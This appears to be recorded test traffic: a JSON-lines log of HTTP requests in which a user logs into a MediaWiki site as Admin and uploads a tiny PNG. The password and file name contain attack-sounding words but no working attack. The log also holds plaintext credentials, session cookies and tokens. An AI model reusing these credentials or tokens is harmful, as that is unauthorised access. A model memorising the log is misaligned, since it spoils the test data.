{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&safemode=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/assets/change-your-logo-icon.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%7Cjquery.client%2ClengthLimit%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=u5y2w", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=menu&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=ellipsis&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userTalk&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userContributions&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/src/mediawiki.special.userlogin.login.styles/images/glyph-people-large.png?707d6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.htmlform.codex.styles%7Cmediawiki.htmlform.styles%7Cmediawiki.special.userlogin.common.styles%7Cmediawiki.special.userlogin.login.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "GET", "target": "/resources/assets/poweredby_mediawiki.svg", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": ""}
{"method": "POST", "target": "/index.php/Special:UserLogin", "headers": ["Host: example.com", "Content-Length: 229", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: application/x-www-form-urlencoded", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=c8fpg457uelgoqp1d680jd5ld25megi9"], "body": "title=Special%3AUserLogin&wpName=Admin&wpPassword=Notes+on+python3%2C+powershell%2C+ls+-la+and+.htaccess&wploginattempt=Log+in&wpEditToken=%2B%5C&authAction=login&force=&wpLoginToken=cc579f5a6afe54fa22c977aa9653ff9b6af23587%2B%5C"}
{"method": "GET", "target": "/index.php/Main_Page", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:UserLogin", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=startup&only=scripts&raw=1&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=watchlist&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=userAvatar&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=settings&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=logOut&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=star&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/skins/Vector/resources/skins.vector.styles/images/link-external-small-ltr-progressive.svg?fb64d", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.chosen%2Cclient%2Cconfirmable%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2Ccookie%2Cexperiments%2CjqueryMsg%2Clanguage%2Cmisc-authed-curate%2Cstorage%2Cuser%2Cutil%7Cmediawiki.libs.pluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=13uqb", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons&image=search&format=original&lang=en&skin=vector-2022&version=r420v", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/load.php?lang=en&modules=mediawiki.action.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=wikiText&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=article&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbles&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=history&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Main_Page", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=mediawiki.codex.messagebox.styles%7Cmediawiki.helplink%2Cspecial%7Cmediawiki.htmlform.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=jquery%2Csite%7Cjquery.client%2ClengthLimit%2Cspinner%7Cjquery.spinner.styles%7Cmediawiki.String%2CTitle%2Capi%2Cbase%2Ccldr%2CconfirmCloseWindow%2Ccookie%2Cexperiments%2Chtmlform%2CjqueryMsg%2Clanguage%2Cstorage%2Ctemplate%2Cuser%2Cutil%7Cmediawiki.libs.jpegmeta%2Cpluralruleparser%7Cmediawiki.page.ready%7Cmediawiki.page.watch.ajax%7Cmediawiki.special.upload%7Cskins.vector.clientPreferences%2Cjs%7Cskins.vector.icons.js&skin=vector-2022&version=qubw6", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: */*", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=edit&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=speechBubbleAdd&variant=progressive&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/load.php?modules=skins.vector.icons.js&image=editLock&format=original&lang=en&skin=vector-2022&version=ig50t", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: image/jxl,image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "GET", "target": "/api.php?action=query&format=json&formatversion=2&titles=File%3ANotes%20on%20python3.png&prop=imageinfo&iiprop=uploadwarning&errorformat=html&errorlang=en", "headers": ["Host: example.com", "Api-User-Agent: MediaWiki-JS/1.46.2", "X-Requested-With: XMLHttpRequest", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: application/json, text/javascript, */*; q=0.01", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": ""}
{"method": "POST", "target": "/index.php/Special:Upload", "headers": ["Host: example.com", "Content-Length: 1181", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryeLnH26h8zIQRGLCj", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Origin: http://example.com", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin"], "body": "------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"title\"\r\n\r\nSpecial:Upload\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUploadFile\"; filename=\"Notes on python3.png\"\r\nContent-Type: image/png\r\n\r\n\ufffdPNG\r\n\u001a\n\u0000\u0000\u0000\rIHDR\u0000\u0000\u0000\u0001\u0000\u0000\u0000\u0001\b\u0002\u0000\u0000\u0000\ufffdwS\ufffd\u0000\u0000\u0000\fIDATx\ufffdc\u00109\u0011\u0005\u0000\u0002*\u00017\u0018t^\ufffd\u0000\u0000\u0000\u0000IEND\ufffdB`\ufffd\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpDestFile\"\r\n\r\nNotes_on_python3.png\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUploadDescription\"\r\n\r\nA picture for the notes on python3\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpLicense\"\r\n\r\n\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpWatchthis\"\r\n\r\n1\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpEditToken\"\r\n\r\nd0c9492d81be1a4d301463aa0c48b3dd6af23588+\\\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpDestFileWarningAck\"\r\n\r\n\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj\r\nContent-Disposition: form-data; name=\"wpUpload\"\r\n\r\nUpload file\r\n------WebKitFormBoundaryeLnH26h8zIQRGLCj--\r\n"}
{"method": "GET", "target": "/index.php/File:Notes_on_python3.png", "headers": ["Host: example.com", "Cache-Control: max-age=0", "Upgrade-Insecure-Requests: 1", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/jxl,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7", "Referer: http://example.com/index.php/Special:Upload", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
{"method": "GET", "target": "/load.php?lang=en&modules=filepage%7Cmediawiki.action.view.filepage%7Cmediawiki.interface.helpers.linker.styles%7Cmediawiki.interface.helpers.styles%7Cskins.vector.icons%2Cstyles%7Cskins.vector.search.codex.styles&only=styles&skin=vector-2022", "headers": ["Host: example.com", "User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/137.0.0.0 Safari/537.36", "Accept: text/css,*/*;q=0.1", "Referer: http://example.com/index.php/File:Notes_on_python3.png", "Accept-Encoding: gzip, deflate", "Cookie: my_wiki_session=ur5j89o9j6imvasv40idoeucrguni9m2; my_wikiUserID=2; my_wikiUserName=Admin; cpPosIndex=1%401794258314%23da3afb6e304edc637eb2dcecbe092657; UseDC=master"], "body": ""}
